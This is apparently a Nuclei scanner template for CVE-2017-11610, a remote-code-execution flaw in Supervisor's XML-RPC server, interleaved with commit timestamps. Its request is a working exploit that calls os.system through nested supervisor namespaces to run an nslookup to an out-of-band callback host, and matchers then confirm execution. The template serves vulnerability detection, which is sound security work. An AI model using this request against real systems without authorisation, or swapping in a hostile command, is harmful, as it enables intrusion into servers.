2021-11-15 23:27:25 +00:00
id : CVE-2017-11610
info :
2022-06-09 20:35:21 +00:00
name : XML-RPC Server - Remote Code Execution
2021-11-15 23:27:25 +00:00
author : notnotnotveg
2021-11-17 13:10:53 +00:00
severity : high
2022-06-09 20:35:21 +00:00
description : The XML-RPC server in supervisor before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3 allows remote authenticated users to execute arbitrary commands via a crafted XML-RPC request, related to nested supervisor namespace lookups.
2021-11-15 23:27:25 +00:00
reference :
- https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md
- https://nvd.nist.gov/vuln/detail/CVE-2017-11610
2022-05-17 09:18:12 +00:00
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JXGWOJNSWWK2TTWQJZJUP66FLFIWDMBQ/
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DTPDZV4ZRICDYAYZVUHSYZAYDLRMG2IM/
2021-11-17 13:10:53 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 8.8
2021-11-17 13:10:53 +00:00
cve-id : CVE-2017-11610
cwe-id : CWE-276
2022-04-22 10:38:41 +00:00
metadata :
shodan-query : http.title:"Supervisor Status"
tags : cve,cve2017,rce,supervisor,oast,xmlrpc
2021-11-15 23:27:25 +00:00
requests :
2021-11-17 13:19:32 +00:00
- raw :
2021-11-15 23:27:25 +00:00
- |
POST /RPC2 HTTP/1.1
Host : {{Hostname}}
Accept : text/xml
Content-type : text/xml
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
2022-01-03 10:33:08 +00:00
<string>nslookup {{interactsh-url}}</string>
2021-11-15 23:27:25 +00:00
</param>
</params>
</methodCall>
2022-01-06 08:24:40 +00:00
matchers-condition : and
2021-11-15 23:27:25 +00:00
matchers :
- type : word
2021-11-17 13:06:30 +00:00
part : interactsh_protocol
2021-11-15 23:27:25 +00:00
words :
2022-01-03 10:33:08 +00:00
- "dns"
2022-01-06 08:24:40 +00:00
- type : word
part : header
words :
- "text/xml"
- type : word
part : body
words :
- "<methodResponse>"
- "<int>"
condition : and
2022-06-09 20:35:21 +00:00
# Enhanced by mp on 2022/06/09